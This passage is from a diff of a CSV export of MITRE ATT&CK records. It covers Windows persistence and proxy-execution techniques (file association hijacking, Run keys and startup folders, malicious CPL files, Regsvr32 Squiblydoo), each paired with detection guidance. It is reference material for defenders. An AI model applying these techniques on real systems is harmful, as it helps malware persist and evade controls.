users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. +Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/001', 'external_id': 'T1546.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/556.html', 'external_id': 'CAPEC-556'}, {'source_name': 'Microsoft Change Default Programs', 'description': 'Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.', 'url': 'https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs'}, {'source_name': 'Microsoft File Handlers', 'description': 'Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/bb166549.aspx'}, {'source_name': 'Microsoft Assoc Oct 2017', 'description': 'Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/assoc'}, {'source_name': 'TrendMicro TROJ-FAKEAV OCT 2012', 'description': 'Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd'}]",1.0,attack-pattern,attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T13:40:47.282Z,2020-01-24T13:40:47.282Z,Change Default File Association,"Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. System file associations are listed under HKEY_CLASSES_ROOT\.[extension], for example HKEY_CLASSES_ROOT\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command. For example: * HKEY_CLASSES_ROOT\txtfile\shell\open\command * HKEY_CLASSES_ROOT\txtfile\shell\print\command * HKEY_CLASSES_ROOT\txtfile\shell\printto\command -The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c,attack-pattern,"['privilege-escalation', 'persistence']",2020-01-24T13:40:47.282Z,2020-01-24T13:40:47.282Z,"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. +The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/001,mitre-attack,T1546.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Travis Smith, Tripwire', 'Stefan Kanthak']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",,"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys. -Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']","['Travis Smith, Tripwire', 'Stefan Kanthak']",,"['Administrator', 'SYSTEM', 'User']",['Windows'],,CAPEC-556,https://capec.mitre.org/data/definitions/556.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.001', 'url': 'https://attack.mitre.org/techniques/T1547/001'}, {'external_id': 'CAPEC-270', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/270.html'}, {'url': 'http://msdn.microsoft.com/en-us/library/aa376977', 'description': 'Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', 'source_name': 'Microsoft Run Key'}, {'source_name': 'Microsoft Wow6432Node 2018', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry', 'description': 'Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.'}, {'source_name': 'Malwarebytes Wow6432Node 2016', 'url': 'https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/', 'description': 'Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.'}, {'url': 'https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key', 'description': 'Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.', 'source_name': 'Microsoft RunOnceEx APR 2018'}, {'url': 'https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/', 'description': 'Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.', 'source_name': 'Oddvar Moe RunOnceEx Mar 2018'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.1,True,https://attack.mitre.org/techniques/T1547/001,mitre-attack,T1547.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Registry Run Keys / Startup Folder,"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the ""run keys"" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. +Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",True,"['Administrator', 'SYSTEM', 'User']",['Windows'],,CAPEC-556,https://capec.mitre.org/data/definitions/556.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/001', 'external_id': 'T1547.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/270.html', 'external_id': 'CAPEC-270'}, {'source_name': 'Microsoft Run Key', 'description': 'Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa376977'}, {'source_name': 'Microsoft Wow6432Node 2018', 'description': 'Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry'}, {'source_name': 'Malwarebytes Wow6432Node 2016', 'description': 'Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.', 'url': 'https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/'}, {'source_name': 'Microsoft RunOnceEx APR 2018', 'description': 'Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018.', 'url': 'https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key'}, {'source_name': 'Oddvar Moe RunOnceEx Mar 2018', 'description': 'Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.', 'url': 'https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.1,attack-pattern,attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T22:02:48.566Z,2021-01-06T18:36:29.226Z,Registry Run Keys / Startup Folder,"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the ""run keys"" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. @@ -2205,16 +2416,16 @@ Programs listed in the load value of the registry key HKEY_CURRENT_USER\So By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. -Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279,attack-pattern,"['persistence', 'privilege-escalation']",2021-01-06T18:36:29.226Z,2020-01-23T22:02:48.566Z,"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. +Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/001,mitre-attack,T1547.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oddvar Moe, @oddvarmoe']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation']",,"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. -Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation']","['Oddvar Moe, @oddvarmoe']",,"['Administrator', 'User']",['Windows'],,CAPEC-270,https://capec.mitre.org/data/definitions/270.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.002', 'url': 'https://attack.mitre.org/techniques/T1218/002'}, {'source_name': 'Microsoft Implementing CPL', 'description': 'M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx'}, {'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf', 'description': 'Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.', 'source_name': 'TrendMicro CPL Malware Jan 2014'}, {'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/', 'description': 'Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.', 'source_name': 'TrendMicro CPL Malware Dec 2013'}, {'url': 'https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/', 'description': 'Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.', 'source_name': 'Palo Alto Reaver Nov 2017'}, {'source_name': 'ESET InvisiMole June 2020', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1218/002,mitre-attack,T1218.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Control Panel,"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. +Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,"['Administrator', 'User']",['Windows'],,CAPEC-270,https://capec.mitre.org/data/definitions/270.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/002', 'external_id': 'T1218.002'}, {'source_name': 'Microsoft Implementing CPL', 'description': 'M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx'}, {'source_name': 'TrendMicro CPL Malware Jan 2014', 'description': 'Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'}, {'source_name': 'TrendMicro CPL Malware Dec 2013', 'description': 'Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/'}, {'source_name': 'Palo Alto Reaver Nov 2017', 'description': 'Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/'}, {'source_name': 'ESET InvisiMole June 2020', 'description': 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf'}]",1.1,attack-pattern,attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:59:52.630Z,2020-10-21T18:37:11.672Z,Control Panel,"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. -Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)",attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f,attack-pattern,['defense-evasion'],2020-10-21T18:37:11.672Z,2020-01-23T19:59:52.630Z,"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) +Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/002,mitre-attack,T1218.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['ESET'],"['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification']",['Application control'],"Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: @@ -2222,16 +2433,16 @@ Inventory Control Panel items to locate unregistered and potentially malicious f * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(""c:\windows\system32\control.exe {Canonical_Name}"", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL) * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL) -Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)","['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification']",['ESET'],['Application control'],"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.010', 'url': 'https://attack.mitre.org/techniques/T1218/010'}, {'source_name': 'Microsoft Regsvr32', 'description': 'Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.', 'url': 'https://support.microsoft.com/en-us/kb/249873'}, {'source_name': 'LOLBAS Regsvr32', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/', 'description': 'LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.'}, {'source_name': 'Carbon Black Squiblydoo Apr 2016', 'description': 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.', 'url': 'https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/'}, {'source_name': 'FireEye Regsvr32 Targeting Mongolian Gov', 'description': 'Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/010,mitre-attack,T1218.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Regsvr32,"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32) +Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",True,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/010', 'external_id': 'T1218.010'}, {'source_name': 'Microsoft Regsvr32', 'description': 'Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.', 'url': 'https://support.microsoft.com/en-us/kb/249873'}, {'source_name': 'LOLBAS Regsvr32', 'description': 'LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'}, {'source_name': 'Carbon Black Squiblydoo Apr 2016', 'description': 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.', 'url': 'https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/'}, {'source_name': 'FireEye Regsvr32 Targeting Mongolian Gov', 'description': 'Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html'}]",1.0,attack-pattern,attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:52:17.414Z,2020-06-20T22:37:32.931Z,Regsvr32,"Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a ""Squiblydoo"" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) -Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)",attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab,attack-pattern,['defense-evasion'],2020-06-20T22:37:32.931Z,2020-01-23T19:52:17.414Z,Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016),"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']",['Casey Smith'],"['Digital Certificate Validation', 'Anti-virus', 'Application control']","['Administrator', 'User']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.009', 'url': 'https://attack.mitre.org/techniques/T1218/009'}, {'source_name': 'MSDN Regsvcs', 'description': 'Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/04za0hca.aspx'}, {'source_name': 'MSDN Regasm', 'description': 'Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx'}, {'source_name': 'LOLBAS Regsvcs', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/', 'description': 'LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.'}, {'source_name': 'LOLBAS Regasm', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regasm/', 'description': 'LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/009,mitre-attack,T1218.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Regsvcs/Regasm,"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) +Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/010,mitre-attack,T1218.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Casey Smith'],"['Process: Process Creation', 'Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Digital Certificate Validation', 'Anti-virus', 'Application control']",Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016),True,"['Administrator', 'User']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/009', 'external_id': 'T1218.009'}, {'source_name': 'MSDN Regsvcs', 'description': 'Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/04za0hca.aspx'}, {'source_name': 'MSDN Regasm', 'description': 'Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx'}, {'source_name': 'LOLBAS Regsvcs', 'description': 'LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/'}, {'source_name': 'LOLBAS Regasm', 'description': 'LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Regasm/'}]",1.0,attack-pattern,attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T19:42:16.439Z,2020-06-20T22:36:37.411Z,Regsvcs/Regasm,"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted 